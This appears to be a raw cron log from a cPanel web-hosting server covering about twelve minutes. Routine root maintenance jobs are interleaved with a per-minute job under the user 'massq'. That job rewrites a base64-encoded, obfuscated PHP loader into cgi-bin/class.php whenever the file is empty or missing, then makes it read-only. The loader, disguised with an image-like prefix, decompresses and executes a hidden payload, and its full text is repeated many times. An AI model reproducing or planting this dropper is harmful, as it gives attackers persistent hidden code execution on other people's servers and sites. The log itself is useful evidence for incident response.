Sep 11 17:56:01 server CROND[2698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:56:01 server CROND[2699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:56:01 server CROND[2700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:57:01 server CROND[3092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:57:01 server CROND[3094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:57:01 server CROND[3093]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:57:01 server CROND[3095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:58:01 server CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:58:01 server CROND[3484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:58:01 server CROND[3485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:59:01 server CROND[3865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:59:01 server CROND[3866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:59:01 server CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:00:01 server CROND[4358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:00:01 server CROND[4359]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:00:01 server CROND[4360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:00:01 server CROND[4365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:00:01 server CROND[4366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:00:01 server CROND[4368]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 18:00:01 server CROND[4370]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 18:00:01 server CROND[4371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:00:01 server CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:00:01 server CROND[4372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:01:01 server CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:01:01 server CROND[5227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:01:01 server CROND[5228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:01:01 server CROND[5229]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 18:01:01 server run-parts(/etc/cron.hourly)[5229]: starting 0anacron
Sep 11 18:01:01 server run-parts(/etc/cron.hourly)[5249]: finished 0anacron
Sep 11 18:02:01 server CROND[5625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:02:01 server CROND[5626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:02:01 server CROND[5627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:03:01 server CROND[6011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:03:01 server CROND[6012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:03:01 server CROND[6013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:04:01 server CROND[6398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:04:01 server CROND[6399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:04:01 server CROND[6400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:05:01 server CROND[6794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:05:01 server CROND[6796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:05:01 server CROND[6800]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:05:01 server CROND[6806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:05:01 server CROND[6805]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:05:01 server CROND[6809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:05:01 server CROND[6810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:05:01 server CROND[6808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:06:01 server CROND[7730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:06:01 server CROND[7731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:06:01 server CROND[7732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:07:01 server CROND[8098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:07:01 server CROND[8099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:07:01 server CROND[8100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
